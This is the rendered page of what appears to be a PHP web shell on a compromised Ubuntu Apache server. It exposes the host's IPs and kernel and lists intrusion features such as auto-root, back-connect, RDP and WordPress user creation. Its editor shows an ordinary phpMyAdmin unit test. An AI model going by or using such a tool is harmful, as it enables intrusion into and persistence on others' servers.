Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 52.14.189.148
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DatabaseInterfaceTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Column; use PhpMyAdmin\ColumnFull; use PhpMyAdmin\Config; use PhpMyAdmin\Config\Settings\Server; use PhpMyAdmin\Current; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Dbal\ConnectionType; use PhpMyAdmin\Dbal\DbiExtension; use PhpMyAdmin\Dbal\ResultInterface; use PhpMyAdmin\Dbal\Statement; use PhpMyAdmin\Index; use PhpMyAdmin\LanguageManager; use PhpMyAdmin\Query\Utilities; use PhpMyAdmin\SqlParser\Context; use PhpMyAdmin\Utils\SessionCache; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use ReflectionProperty; use function array_keys; #[CoversClass(DatabaseInterface::class)] #[CoversClass(Column::class)] #[CoversClass(ColumnFull::class)] class DatabaseInterfaceTest extends AbstractTestCase { protected function setUp(): void { parent::setUp(); DatabaseInterface::$instance = $this->createDatabaseInterface(); } /** * Tear down function for mockResponse method */ protected function tearDown(): void { parent::tearDown(); unset($GLOBALS['lang']); unset(Config::getInstance()->selectedServer['SessionTimeZone']); Context::load(); } public function testUniqueness(): void { DatabaseInterface::$instance = null; $instanceOne = DatabaseInterface::getInstance(); $instanceTwo = DatabaseInterface::getInstance(); self::assertSame($instanceOne, $instanceTwo); } /** * Tests for DBI::getCurrentUser() method. * * @param string[][]|false $value value * @param string $string string * @param mixed[] $expected expected result * @param bool $needsSecondCall The test will need to call another time the DB * @psalm-param list<non-empty-list<string>>|false $value */ #[DataProvider('currentUserData')] public function testGetCurrentUser(array|false $value, string $string, array $expected, bool $needsSecondCall): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); SessionCache::remove('mysql_cur_user'); $dummyDbi->addResult('SELECT CURRENT_USER();', $value); if ($needsSecondCall) { $dummyDbi->addResult('SELECT CURRENT_USER();', $value); } self::assertSame($expected, $dbi->getCurrentUserAndHost()); self::assertSame($string, $dbi->getCurrentUser()); $dummyDbi->assertAllQueriesConsumed(); } /** * Data provider for getCurrentUser() tests. * * @return mixed[] */ public static function currentUserData(): array { return [ [[['pma@localhost']], 'pma@localhost', ['pma', 'localhost'], false], [[['@localhost']], '@localhost', ['', 'localhost'], false], [false, '@', ['', ''], true], ]; } /** * Tests for DBI::getCurrentRole() method. * * @param string[][]|false $value * @param string[] $string * @param string[][] $expected */ #[DataProvider('currentRolesData')] public function testGetCurrentRoles( string $version, bool $isRoleSupported, array|false $value, array $string, array $expected, ): void { $dbiDummy = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dbiDummy); $dbi->setVersion(['@@version' => $version]); SessionCache::remove('mysql_cur_role'); if ($isRoleSupported) { $dbiDummy->addResult('SELECT CURRENT_ROLE();', $value); } self::assertSame($expected, $dbi->getCurrentRolesAndHost()); self::assertSame($string, $dbi->getCurrentRoles()); $dbiDummy->assertAllQueriesConsumed(); } /** * Data provider for getCurrentRole() tests. * * @return mixed[] */ public static function currentRolesData(): array { return [ ['10.4.99-MariaDB', false, false, [], []], ['5.7.35 - MySQL Community Server (GPL)', false, false, [], []], [ '8.0.0 - MySQL Community Server - GPL', true, [['`role`@`localhost`']], ['role@localhost'], [['role', 'localhost']], ], [ '8.0.0 - MySQL Community Server - GPL', true, [['`role`@`localhost`, `role2`@`localhost`']], ['role@localhost', 'role2@localhost'], [['role', 'localhost'], ['role2', 'localhost']], ], ['8.0.0 - MySQL Community Server - GPL', true, [['@`localhost`']], ['@localhost'], [['', 'localhost']]], ['10.5.0-MariaDB', true, [['`role`@`localhost`']], ['role@localhost'], [['role', 'localhost']]], [ '10.5.0-MariaDB', true, [['`role`@`localhost`, `role2`@`localhost`']], ['role@localhost', 'role2@localhost'], [['role', 'localhost'], ['role2', 'localhost']], ], ['10.5.0-MariaDB', true, [['@`localhost`']], ['@localhost'], [['', 'localhost']]], ]; } /** * Tests for DBI::postConnect() method. * should not call setVersion method if cannot fetch version */ public function testPostConnectShouldNotCallSetVersionIfNoVersion(): void { $GLOBALS['lang'] = 'en'; LanguageManager::getInstance()->availableLanguages(); $mock = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->onlyMethods(['fetchSingleRow', 'query', 'setVersion']) ->getMock(); $mock->expects(self::once()) ->method('fetchSingleRow') ->willReturn(null); $mock->expects(self::never())->method('setVersion'); $mock->postConnect(new Server(['SessionTimeZone' => ''])); } /** * Tests for DBI::postConnect() method. * should call setVersion method if $version has value */ public function testPostConnectShouldCallSetVersionOnce(): void { $GLOBALS['lang'] = 'en'; $versionQueryResult = [ '@@version' => '10.20.7-MariaDB-1:10.9.3+maria~ubu2204', '@@version_comment' => 'mariadb.org binary distribution', ]; LanguageManager::getInstance()->availableLanguages(); $mock = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->onlyMethods(['fetchSingleRow', 'query', 'setVersion']) ->getMock(); $mock->expects(self::once()) ->method('fetchSingleRow') ->willReturn($versionQueryResult); $mock->expects(self::once())->method('setVersion')->with($versionQueryResult); $mock->postConnect(new Server(['SessionTimeZone' => ''])); } /** * Tests for DBI::postConnect() method. * should set version int, isMariaDB and isPercona * * @param array $version Database version * @param int $versionInt Database version as integer * @param bool $isMariaDb True if mariadb * @param bool $isPercona True if percona * @phpstan-param array<array-key, mixed> $version */ #[DataProvider('provideDatabaseVersionData')] public function testPostConnectShouldSetVersion( array $version, int $versionInt, bool $isMariaDb, bool $isPercona, ): void { $GLOBALS['lang'] = 'en'; LanguageManager::getInstance()->availableLanguages(); $mock = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->onlyMethods(['fetchSingleRow', 'query']) ->getMock(); $mock->expects(self::once()) ->method('fetchSingleRow') ->willReturn($version); $mock->postConnect(new Server(['SessionTimeZone' => ''])); self::assertSame($mock->getVersion(), $versionInt); self::assertSame($mock->isMariaDB(), $isMariaDb); self::assertSame($mock->isPercona(), $isPercona); } /** * Test for getDbCollation */ public function testGetDbCollation(): void { $dbiDummy = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dbiDummy); $config = Config::getInstance(); $config->selectedServer['DisableIS'] = false; self::assertSame( 'utf8_general_ci', $dbi->getDbCollation('pma_test'), ); $config->selectedServer['DisableIS'] = true; $dbiDummy->addSelectDb('information_schema'); Current::$database = 'information_schema'; $dbiDummy->removeDefaultResults(); $dbiDummy->addResult('SELECT @@collation_database', [['utf8mb3_general_ci']], ['@@collation_database']); self::assertSame('utf8mb3_general_ci', $dbi->getDbCollation('information_schema')); } /** * Test for getServerCollation */ public function testGetServerCollation(): void { $dbi = $this->createDatabaseInterface(); $config = Config::getInstance(); $config->config->debug->sql = true; self::assertSame('utf8_general_ci', $dbi->getServerCollation()); $config->config->debug->sql = false; } /** * Test error formatting * * @param int $errorNumber Error code * @param string $errorMessage Error message as returned by server * @param string $match Expected text */ #[DataProvider('errorData')] public function testFormatError(int $errorNumber, string $errorMessage, string $match): void { self::assertStringContainsString( $match, Utilities::formatError($errorNumber, $errorMessage), ); } /** @return mixed[][] */ public static function errorData(): array { return [ [2002, 'msg', 'The server is not responding'], [2003, 'msg', 'The server is not responding'], [1698, 'msg', 'index.php?route=/logout'], [1005, 'msg', 'index.php?route=/server/engines'], [1005, 'errno: 13', 'Please check privileges'], [-1, 'error message', 'error message'], ]; } /** * Tests for DBI::isAmazonRds() method. * * @param string[][] $value value * @param bool $expected expected result * @psalm-param list<non-empty-list<string>> $value */ #[DataProvider('isAmazonRdsData')] public function testIsAmazonRdsData(array $value, bool $expected): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); SessionCache::remove('is_amazon_rds'); $dummyDbi->addResult('SELECT @@basedir', $value); self::assertSame( $expected, $dbi->isAmazonRds(), ); $dummyDbi->assertAllQueriesConsumed(); } /** * Data provider for isAmazonRds() tests. * * @return mixed[] */ public static function isAmazonRdsData(): array { return [ [[['/usr']], false], [[['E:/mysql']], false], [[['/rdsdbbin/mysql/']], true], [[['/rdsdbbin/mysql-5.7.18/']], true], ]; } /** * Test for version parsing * * @param string $version version to parse * @param int $expected expected numeric version * @param int $major expected major version * @param bool $upgrade whether upgrade should ne needed */ #[DataProvider('versionData')] public function testVersion(string $version, int $expected, int $major, bool $upgrade): void { $verInt = Utilities::versionToInt($version); self::assertSame($expected, $verInt); self::assertSame($major, (int) ($verInt / 10000)); $mysqlMinVersion = 50500; self::assertSame($upgrade, $verInt < $mysqlMinVersion); } /** @return mixed[][] */ public static function versionData(): array { return [ ['5.0.5', 50005, 5, true], ['5.05.01', 50501, 5, false], ['5.6.35', 50635, 5, false], ['10.1.22-MariaDB-', 100122, 10, false], ]; } /** * Tests for DBI::setCollation() method. */ public function testSetCollation(): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); $dummyDbi->addResult('SET collation_connection = \'utf8_czech_ci\';', true); $dummyDbi->addResult('SET collation_connection = \'utf8mb4_bin_ci\';', true); $dummyDbi->addResult('SET collation_connection = \'utf8_czech_ci\';', true); $dummyDbi->addResult('SET collation_connection = \'utf8_bin_ci\';', true); (new ReflectionProperty(DatabaseInterface::class, 'versionInt'))->setValue($dbi, 50504); $dbi->setCollation('utf8_czech_ci'); $dbi->setCollation('utf8mb4_bin_ci'); (new ReflectionProperty(DatabaseInterface::class, 'versionInt'))->setValue($dbi, 50503); $dbi->setCollation('utf8_czech_ci'); $dbi->setCollation('utf8mb4_bin_ci'); $dummyDbi->assertAllQueriesConsumed(); } public function testGetTablesFull(): void { $dbi = $this->createDatabaseInterface(); Config::getInstance()->selectedServer['DisableIS'] = true; $expected = [ 'test_table' => [ 'Name' => 'test_table', 'Engine' => 'InnoDB', 'Version' => '10', 'Row_format' => 'Dynamic', 'Rows' => '3', 'Avg_row_length' => '5461', 'Data_length' => '16384', 'Max_data_length' => '0', 'Index_length' => '0', 'Data_free' => '0', 'Auto_increment' => '4', 'Create_time' => '2011-12-13 14:15:16', 'Update_time' => null, 'Check_time' => null, 'Collation' => 'utf8mb4_general_ci', 'Checksum' => null, 'Create_options' => '', 'Comment' => '', 'Max_index_length' => '0', 'Temporary' => 'N', 'Type' => 'InnoDB', 'TABLE_SCHEMA' => 'test_db', 'TABLE_NAME' => 'test_table', 'ENGINE' => 'InnoDB', 'VERSION' => '10', 'ROW_FORMAT' => 'Dynamic', 'TABLE_ROWS' => '3', 'AVG_ROW_LENGTH' => '5461', 'DATA_LENGTH' => '16384', 'MAX_DATA_LENGTH' => '0', 'INDEX_LENGTH' => '0', 'DATA_FREE' => '0', 'AUTO_INCREMENT' => '4', 'CREATE_TIME' => '2011-12-13 14:15:16', 'UPDATE_TIME' => null, 'CHECK_TIME' => null, 'TABLE_COLLATION' => 'utf8mb4_general_ci', 'CHECKSUM' => null, 'CREATE_OPTIONS' => '', 'TABLE_COMMENT' => '', 'TABLE_TYPE' => 'BASE TABLE', ], ]; $actual = $dbi->getTablesFull('test_db'); self::assertSame($expected, $actual); } public function testGetTablesFullWithInformationSchema(): void { $dbi = $this->createDatabaseInterface(); Config::getInstance()->selectedServer['DisableIS'] = false; $expected = [ 'test_table' => [ 'TABLE_CATALOG' => 'def', 'TABLE_SCHEMA' => 'test_db', 'TABLE_NAME' => 'test_table', 'TABLE_TYPE' => 'BASE TABLE', 'ENGINE' => 'InnoDB', 'VERSION' => '10', 'ROW_FORMAT' => 'Dynamic', 'TABLE_ROWS' => '3', 'AVG_ROW_LENGTH' => '5461', 'DATA_LENGTH' => '16384', 'MAX_DATA_LENGTH' => '0', 'INDEX_LENGTH' => '0', 'DATA_FREE' => '0', 'AUTO_INCREMENT' => '4', 'CREATE_TIME' => '2011-12-13 14:15:16', 'UPDATE_TIME' => null, 'CHECK_TIME' => null, 'TABLE_COLLATION' => 'utf8mb4_general_ci', 'CHECKSUM' => null, 'CREATE_OPTIONS' => '', 'TABLE_COMMENT' => '', 'MAX_INDEX_LENGTH' => '0', 'TEMPORARY' => 'N', 'Db' => 'test_db', 'Name' => 'test_table', 'Engine' => 'InnoDB', 'Type' => 'InnoDB', 'Version' => '10', 'Row_format' => 'Dynamic', 'Rows' => '3', 'Avg_row_length' => '5461', 'Data_length' => '16384', 'Max_data_length' => '0', 'Index_length' => '0', 'Data_free' => '0', 'Auto_increment' => '4', 'Create_time' => '2011-12-13 14:15:16', 'Update_time' => null, 'Check_time' => null, 'Collation' => 'utf8mb4_general_ci', 'Checksum' => null, 'Create_options' => '', 'Comment' => '', ], ]; $actual = $dbi->getTablesFull('test_db'); self::assertSame($expected, $actual); } public function testGetTablesFullBug18913(): void { $dbiDummy = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dbiDummy); $config = Config::getInstance(); $config->selectedServer['DisableIS'] = true; $config->settings['NaturalOrder'] = false; $expected = ['0', '1', '42']; $dbiDummy->addResult('SHOW TABLE STATUS FROM `test_db_bug_18913`', [ ['0', ''], ['1', ''], ['42', ''], ], ['Name', 'Engine']); $actual = $dbi->getTablesFull('test_db_bug_18913'); self::assertEquals($expected, array_keys($actual)); } /** * Test for queryAsControlUser */ public function testQueryAsControlUser(): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); $sql = 'insert into PMA_bookmark A,B values(1, 2)'; $dummyDbi->addResult($sql, true); $dummyDbi->addResult($sql, true); $dummyDbi->addResult('Invalid query', false); $dbi->queryAsControlUser($sql); self::assertInstanceOf( ResultInterface::class, $dbi->tryQueryAsControlUser($sql), ); self::assertFalse($dbi->tryQueryAsControlUser('Invalid query')); } public function testGetDatabasesFullDisabledISAndSortIntColumn(): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); DatabaseInterface::$instance = $dbi; Current::$database = ''; Current::$table = ''; $config = Config::getInstance(); $config->selectedServer['DisableIS'] = true; $config->selectedServer['only_db'] = ''; $config->settings['NaturalOrder'] = true; $dummyDbi->removeDefaultResults(); $dummyDbi->addResult('SELECT CURRENT_USER();', []); $dummyDbi->addResult('SHOW DATABASES', [['db1'], ['db2']], ['Database']); $dummyDbi->addResult( 'SELECT @@collation_database', [['utf8_general_ci']], ['@@collation_database'], ); $dummyDbi->addResult( 'SELECT @@collation_database', [['utf8_general_ci']], ['@@collation_database'], ); $dummyDbi->addResult( 'SHOW TABLE STATUS FROM `db1`;', [ [ 'pma__bookmark', 'InnoDB', 10, 'Dynamic', 0, 0, 16384, 0, 0, 0, 1, '2021-08-27 14:11:52', null, null, 'utf8_bin', null, 'Bookmarks', ], [ 'pma__central_columns', 'InnoDB', 10, 'Dynamic', 0, 0, 16384, 0, 0, 0, null, '2021-08-27 14:11:52', null, null, 'utf8_bin', null, 'Central list of columns', ], ], [ 'Name', 'Engine', 'Version', 'Row_format', 'Rows', 'Avg_row_length', 'Data_length', 'Max_data_length', 'Index_length', 'Data_free', 'Auto_increment', 'Create_time', 'Update_time', 'Check_time', 'Collation', 'Checksum', 'Create_options', 'Comment', ], ); $dummyDbi->addResult( 'SHOW TABLE STATUS FROM `db2`;', [ [ 'pma__bookmark', 'InnoDB', 10, 'Dynamic', 0, 0, 16324, 0, 0, 0, 1, '2021-08-27 14:11:52', null, null, 'utf8_bin', null, 'Bookmarks', ], [ 'pma__central_columns', 'InnoDB', 10, 'Dynamic', 0, 0, 14384, 0, 0, 0, null, '2021-08-27 14:11:52', null, null, 'utf8_bin', null, 'Central list of columns', ], ], [ 'Name', 'Engine', 'Version', 'Row_format', 'Rows', 'Avg_row_length', 'Data_length', 'Max_data_length', 'Index_length', 'Data_free', 'Auto_increment', 'Create_time', 'Update_time', 'Check_time', 'Collation', 'Checksum', 'Create_options', 'Comment', ], ); $dummyDbi->addSelectDb(''); $dummyDbi->addSelectDb(''); $dummyDbi->addSelectDb('db1'); $dummyDbi->addSelectDb('db2'); $databaseList = $dbi->getDatabasesFull(null, true, ConnectionType::User, 'SCHEMA_DATA_LENGTH', 'ASC', 0, 100); self::assertSame([ [ 'SCHEMA_NAME' => 'db2', 'DEFAULT_COLLATION_NAME' => 'utf8_general_ci', 'SCHEMA_TABLES' => 2, 'SCHEMA_TABLE_ROWS' => 0, 'SCHEMA_DATA_LENGTH' => 30708, 'SCHEMA_MAX_DATA_LENGTH' => 0, 'SCHEMA_INDEX_LENGTH' => 0, 'SCHEMA_LENGTH' => 30708, 'SCHEMA_DATA_FREE' => 0, ], [ 'SCHEMA_NAME' => 'db1', 'DEFAULT_COLLATION_NAME' => 'utf8_general_ci', 'SCHEMA_TABLES' => 2, 'SCHEMA_TABLE_ROWS' => 0, 'SCHEMA_DATA_LENGTH' => 32768, 'SCHEMA_MAX_DATA_LENGTH' => 0, 'SCHEMA_INDEX_LENGTH' => 0, 'SCHEMA_LENGTH' => 32768, 'SCHEMA_DATA_FREE' => 0, ], ], $databaseList); $dummyDbi->assertAllQueriesConsumed(); } public function testPrepare(): void { $query = 'SELECT * FROM `mysql`.`user` WHERE `User` = ? AND `Host` = ?;'; $stmtStub = self::createStub(Statement::class); $dummyDbi = $this->createMock(DbiExtension::class); $dummyDbi->expects(self::once())->method('prepare') ->with(self::isType('object'), self::equalTo($query)) ->willReturn($stmtStub); $dbi = $this->createDatabaseInterface($dummyDbi); $stmt = $dbi->prepare($query, ConnectionType::ControlUser); self::assertSame($stmtStub, $stmt); } /** * Tests for setVersion method. * * @param array $version Database version * @param int $versionInt Database version as integer * @param bool $isMariaDb True if mariadb * @param bool $isPercona True if percona * @phpstan-param array<array-key, mixed> $version */ #[DataProvider('provideDatabaseVersionData')] public function testSetVersion( array $version, int $versionInt, bool $isMariaDb, bool $isPercona, ): void { $dummyDbi = $this->createDbiDummy(); $dbi = $this->createDatabaseInterface($dummyDbi); $dbi->setVersion($version); self::assertSame($versionInt, $dbi->getVersion()); self::assertSame($isMariaDb, $dbi->isMariaDB()); self::assertSame($isPercona, $dbi->isPercona()); self::assertSame($version['@@version'], $dbi->getVersionString()); } /** * Data provider for setVersion() tests. * * @return mixed[] * @psalm-return array<int, array{array<array-key, mixed>, int, bool, bool}> */ public static function provideDatabaseVersionData(): array { return [ [ [ '@@version' => '6.1.0', '@@version_comment' => "Percona Server (GPL), Release '11', Revision 'c1y2gr1df4a'", ], 60100, false, true, ], [ [ '@@version' => '10.01.40-MariaDB-1:10.01.40+maria~ubu2204', '@@version_comment' => 'mariadb.org binary distribution', ], 100140, true, false, ], [['@@version' => '7.10.3', '@@version_comment' => 'MySQL Community Server (GPL)'], 71003, false, false], [['@@version' => '5.5.0', '@@version_comment' => ''], 50500, false, false], ]; } #[DataProvider('providerForTestGetLowerCaseNames')] public function testGetLowerCaseNames(string|false|null $result, int $expected): void { $dbiDummy = $this->createDbiDummy(); $expectedResult = $result !== false ? [[$result]] : []; $dbiDummy->addResult('SELECT @@lower_case_table_names', $expectedResult, ['@@lower_case_table_names']); $dbi = $this->createDatabaseInterface($dbiDummy); self::assertSame($expected, $dbi->getLowerCaseNames()); $dbiDummy->assertAllQueriesConsumed(); } /** @return iterable<string, array{string|false|null, int}> */ public static function providerForTestGetLowerCaseNames(): iterable { yield 'string 0' => ['0', 0]; yield 'string 1' => ['1', 1]; yield 'string 2' => ['2', 2]; yield 'invalid lower value' => ['-1', 0]; yield 'invalid higher value' => ['3', 0]; yield 'empty string' => ['', 0]; yield 'null' => [null, 0]; yield 'false' => [false, 0]; } public function testGetColumn(): void { (new ReflectionProperty(Index::class, 'registry'))->setValue(null, []); $dbiDummy = $this->createDbiDummy(); $dbiDummy->removeDefaultResults(); $dbiDummy->addResult( 'SHOW COLUMNS FROM `test_db`.`test_table` LIKE \'test\\\\_column\'', [['test_column', 'varchar(45)', 'NO', '', null, '']], ['Field', 'Type', 'Null', 'Key', 'Default', 'Extra'], ); $dbiDummy->addResult('SHOW INDEXES FROM `test_db`.`test_table`', []); $dbi = $this->createDatabaseInterface($dbiDummy); $column = new Column('test_column', 'varchar(45)', false, '', null, ''); self::assertEquals($column, $dbi->getColumn('test_db', 'test_table', 'test_column')); $dbiDummy->assertAllQueriesConsumed(); } public function testGetColumnWithFullColumn(): void { (new ReflectionProperty(Index::class, 'registry'))->setValue(null, []); $dbiDummy = $this->createDbiDummy(); $dbiDummy->removeDefaultResults(); $dbiDummy->addResult( 'SHOW FULL COLUMNS FROM `test_db`.`test_table` LIKE \'test\\\\_column\'', // phpcs:ignore Generic.Files.LineLength.TooLong [['test_column', 'varchar(45)', 'utf8mb4_general_ci', 'NO', '', null, '', 'select,insert,update,references', '']], ['Field', 'Type', 'Collation', 'Null', 'Key', 'Default', 'Extra', 'Privileges', 'Comment'], ); $dbiDummy->addResult('SHOW INDEXES FROM `test_db`.`test_table`', []); $dbi = $this->createDatabaseInterface($dbiDummy); $column = new ColumnFull( 'test_column', 'varchar(45)', 'utf8mb4_general_ci', false, '', null, '', 'select,insert,update,references', '', ); self::assertEquals($column, $dbi->getColumn('test_db', 'test_table', 'test_column', true)); $dbiDummy->assertAllQueriesConsumed(); } }
Close